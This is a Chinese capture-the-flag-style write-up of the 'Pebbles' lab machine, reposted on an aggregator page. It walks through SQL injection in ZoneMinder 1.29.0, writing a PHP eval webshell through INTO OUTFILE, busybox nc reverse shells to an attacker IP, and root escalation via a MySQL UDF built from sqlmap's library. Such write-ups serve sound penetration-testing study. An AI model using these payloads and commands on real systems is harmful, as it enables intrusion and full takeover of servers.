当前位置: 首页 > news >正文

PG靶机 - Pebbles

一、初步侦察与立足点获取

1.1 端口探测与服务识别

首先对目标进行全端口扫描,结果显示开放了 21 (FTP)、22 (SSH)、80 (HTTP)、3305 (HTTP) 和 8080 (HTTP) 等端口。

sudo nmap 192.168.186.52 -p- --min-rate=5000 -A

1.2 Web 服务探索

对扫描到的 Web 服务逐一进行排查。80 端口是一个登录页面,经过简单的弱口令尝试后宣告失败。

3305 和 8080 端口分别是 Apache 和 Tomcat 的默认欢迎页,并未发现有价值的信息。

1.3 目录爆破与应用发现 (ZoneMinder)

初步的目录扫描未能发现任何隐藏路径。

dirsearch -u http://192.168.186.52 -x 404

更换更强大的字典和工具进行深度爆破,成功发现了一个名为 zm 的目录。

feroxbuster -u http://192.168.186.52/

访问该目录,页面显示这是一个名为 ZoneMinder 的监控应用,版本号为 1.29.0。

1.4 漏洞识别与初始 Shell 获取 (SQL 注入)

针对 ZoneMinder v1.29.0 进行漏洞检索,发现存在一个已知的 SQL 注入漏洞。

经过验证,该漏洞确实存在,并且支持堆叠注入,这为我们执行任意 SQL 语句提供了可能。

利用堆叠注入和 INTO OUTFILE 语句,我们尝试向 Web 根目录 /var/www/html/ 写入一个 PHP Webshell。

select '<?php @eval($_REQUEST[cmd]);?>' into outfile '/var/www/html/shell.php'

访问写入的 shell.php 文件并执行 whoami 命令,成功返回 www-data 用户,证明 webshell 已成功部署。

随即通过 Webshell 执行反弹 Shell 命令,成功获得了一个交互式 Shell。

busybox nc 192.168.45.250 22 -e /bin/bash


二、权限提升与 ROOT 权限获取

2.1 信息收集与提权路径分析

在获取初始 Shell 后,进行信息收集。一个关键的发现是,MySQL 服务是以 root 权限运行的。结合我们已有的堆叠注入能力,通过 MySQL UDF (User-Defined Function) 提权成为了一条可以尝试的路径。

2.2 UDF 提权与最终控制

首先,我们需要一个用于执行系统命令的 UDF 动态链接库。Sqlmap 自带的库是一个不错的选择,位于 /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_。该文件经过编码,需要使用 sqlmap 提供的 cloak.py 脚本进行解码。

python3 /usr/share/sqlmap/extra/cloak/cloak.py -d -i ~/lib_mysqludf_sys.so_ -o udf.so

接下来,将解码后的 udf.so 文件上传到目标服务器的 /tmp 目录下。由于 www-data 用户对 MySQL 的插件目录 /usr/lib/mysql/plugin/ 没有写权限,我们再次利用 SQL 注入,通过 load_filedumpfile 将 UDF 文件写入指定位置。

通过堆叠注入,依次执行以下 SQL 语句,完成 UDF 文件的加载并创建自定义函数 sys_eval

create table xdd(line blob);
insert into xdd values(load_file('/tmp/udf.so'));
select * from xdd into dumpfile '/usr/lib/mysql/plugin/udf.so';
create function sys_eval returns string soname 'udf.so';

函数创建成功后,调用 sys_eval 执行反弹 Shell 命令。

select sys_eval('busybox nc 192.168.45.250 22 -e /bin/bash');

在本地监听端口成功接收到回连,获取的 Shell 权限已是 root,提权成功。

http://www.dtcms.com/a/339635.html

相关文章:

  • 无人机/航测/三维建模领域常见的“航线规划或建模方式
  • 基于单片机智能拐杖/导盲杖/老人防摔倒设计
  • python-林粒粒的视频笔记1
  • 网络数据包
  • 用relation-graph构建关系图谱 vue版
  • 单片 、物联网、51单片机、软硬件之基于STM32与蓝牙的仓储管控系统的设计与实现/基于物联网的仓库管理系统
  • 【实时Linux实战系列】基于实时Linux的物联网系统设计
  • AI硬件 - AMD显卡架构演进及产品线
  • 快速傅里叶变换:数字信号处理的基石算法
  • ubuntu24.04 用apt安装的mysql修改存储路径(文件夹、目录)
  • Linux 系统下安装 uv 并在 PyCharm 中使用指南
  • Z-Score归一化:原理、作用与实战解析
  • UGUI源码剖析(10):总结——基于源码分析的UGUI设计原则与性能优化策略
  • Spring框架-数据访问层和事务管理
  • 不止是耳机,运动与商务的结合!雷登A7开放式蓝牙耳机
  • Linux下的软件编程——IPC机制(信号和共享内存)
  • QT6(常用界面组件的使用和布局管理)
  • 芯片没有型号能解密程序么?
  • 多线程—飞机大战排行榜功能(2.0版本)
  • 量化交易 - 概念板块对应股票 python代码
  • IEEE Transactions on Communications (TCOM) 投稿状态记录
  • 右值引用与移动语义【C++进阶每日一学】
  • Chrome插件开发【windows】
  • Infusing fine-grained visual knowledge to Vision-Language Models
  • Kotlin 协程之Channel
  • Python脚本每天爬取微博热搜-升级版
  • 电商数据分析可视化预测系统
  • GPT-5论文写作全流程提示词库
  • 点大餐饮独立版系统源码v1.0.3+uniapp前端+搭建教程
  • 图像采集卡与工业相机:机器视觉“双剑合璧”的效能解析